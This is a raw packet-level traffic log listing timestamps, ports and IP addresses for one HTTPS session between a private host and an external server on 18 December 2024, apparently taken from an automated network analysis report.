Dec 18, 2024 13:21:24.469013929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.469104052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.469163895 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.469192982 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.469279051 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.474947929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.474997997 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.475033045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.475054979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.475070953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.475209951 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.501940012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.502016068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.502032995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.502060890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.502078056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.502104044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.507517099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.507543087 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.507584095 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.507592916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.507628918 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.507652044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.513463974 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.513494968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.513575077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.513619900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.513652086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.513674021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.523673058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.523796082 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.523855925 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.523885012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.523901939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.524013042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.611488104 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.611519098 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.611568928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.611603975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.611618996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.611732960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.632689953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.632719040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.632766008 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.632798910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.632816076 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.633049011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.659379005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.659409046 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.659455061 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.659472942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.659490108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.659511089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.665554047 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.665585995 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.665622950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.665628910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.665651083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.665667057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.692646027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.692693949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.692747116 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.692760944 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.692775011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.692804098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.697777987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.697810888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.697854042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.697866917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.697889090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.697906971 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.704899073 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.704929113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.704967022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.704977989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.704994917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.705013990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.714091063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.714121103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.714234114 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.714246988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.714294910 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.803250074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.803277969 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.803349972 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.803366899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.803448915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.825434923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.825464010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.825526953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.825553894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.825588942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.825603962 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.850842953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.850871086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.850929976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.850938082 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.850971937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.851027012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.856808901 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.856846094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.856882095 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.856887102 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.856928110 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.884413004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.884445906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.884526968 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.884532928 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.884583950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.890633106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.890662909 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.890706062 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.890710115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.890750885 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.897094011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.897129059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.897164106 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.897167921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.897206068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.906977892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.907004118 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.907051086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.907056093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.907080889 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.907098055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.995716095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.995749950 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.995820045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.995829105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.995877981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.016989946 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.017019987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.017060995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.017069101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.017112017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.043143034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.043209076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.043230057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.043237925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.043255091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.043272018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.048645973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.048677921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.048715115 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.048721075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.048749924 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.048770905 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.082525969 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.082561970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.082628965 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.082643032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.082680941 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.088309050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.088342905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.088398933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.088407040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.088430882 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.088454962 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.094289064 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.094314098 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.094379902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.094386101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.094424009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.099812984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.099839926 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.099921942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.099930048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.100038052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.188059092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.188086033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.188143969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.188165903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.188539028 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.210455894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.210484982 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.210556984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.210573912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.210587025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.210618019 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.236898899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.236927986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.237032890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.237040997 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.237087011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.242588043 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.242614985 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.242652893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.242659092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.242676020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.242707968 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.275695086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.275718927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.275773048 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.275780916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.275959015 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.281327009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.281351089 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.281430960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.281435966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.281475067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.289216995 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.289238930 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.289298058 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.289304972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.289333105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.291948080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.291964054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.292006969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.292012930 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.292048931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.380707026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.380733967 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.380774975 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.380794048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.380805969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.380827904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.401882887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.401910067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.401974916 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.401993990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.402417898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.427812099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.427836895 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.427928925 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.427948952 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.427989960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.433609962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.433634996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.433689117 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.433697939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.434416056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.467590094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.467618942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.467680931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.467691898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.470426083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.472811937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.472836018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.472891092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.472897053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.472929955 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.478820086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.478835106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.478918076 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.478924036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.478955984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.483946085 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.483962059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.484045029 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.484050035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.484081030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.572421074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.572443962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.572514057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.572545052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.572588921 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.594609976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.594676018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.594808102 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.594808102 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.594841003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.597580910 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.620157003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.620184898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.620384932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.620413065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.620456934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.625912905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.625936985 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.625994921 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.626017094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.626029968 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.630428076 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.659460068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.659483910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.659570932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.659598112 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.662096977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.664899111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.664921999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.664979935 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.665000916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.666414022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.671591043 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.671612978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.671660900 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.671680927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.671708107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.671732903 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.677186966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.677208900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.677268028 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.677294970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.678406954 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.764666080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.764692068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.764780998 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.764808893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.766412020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.786273003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.786293030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.786358118 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.786402941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.786418915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.790416002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.812381029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.812407970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.812459946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.812485933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.812504053 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.812732935 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.818023920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.818041086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.818080902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.818101883 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.818126917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.818310976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.852559090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.852587938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.852653980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.852684021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.852699041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.852720976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.857490063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.857505083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.857573986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.857593060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.858413935 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.863533020 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.863547087 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.863606930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.863624096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.864619970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.868946075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.868962049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.869007111 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.869024992 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:25.869040012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.870111942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:25.956783056 CET	443	49723	118.107.29.172	192.168.2.10
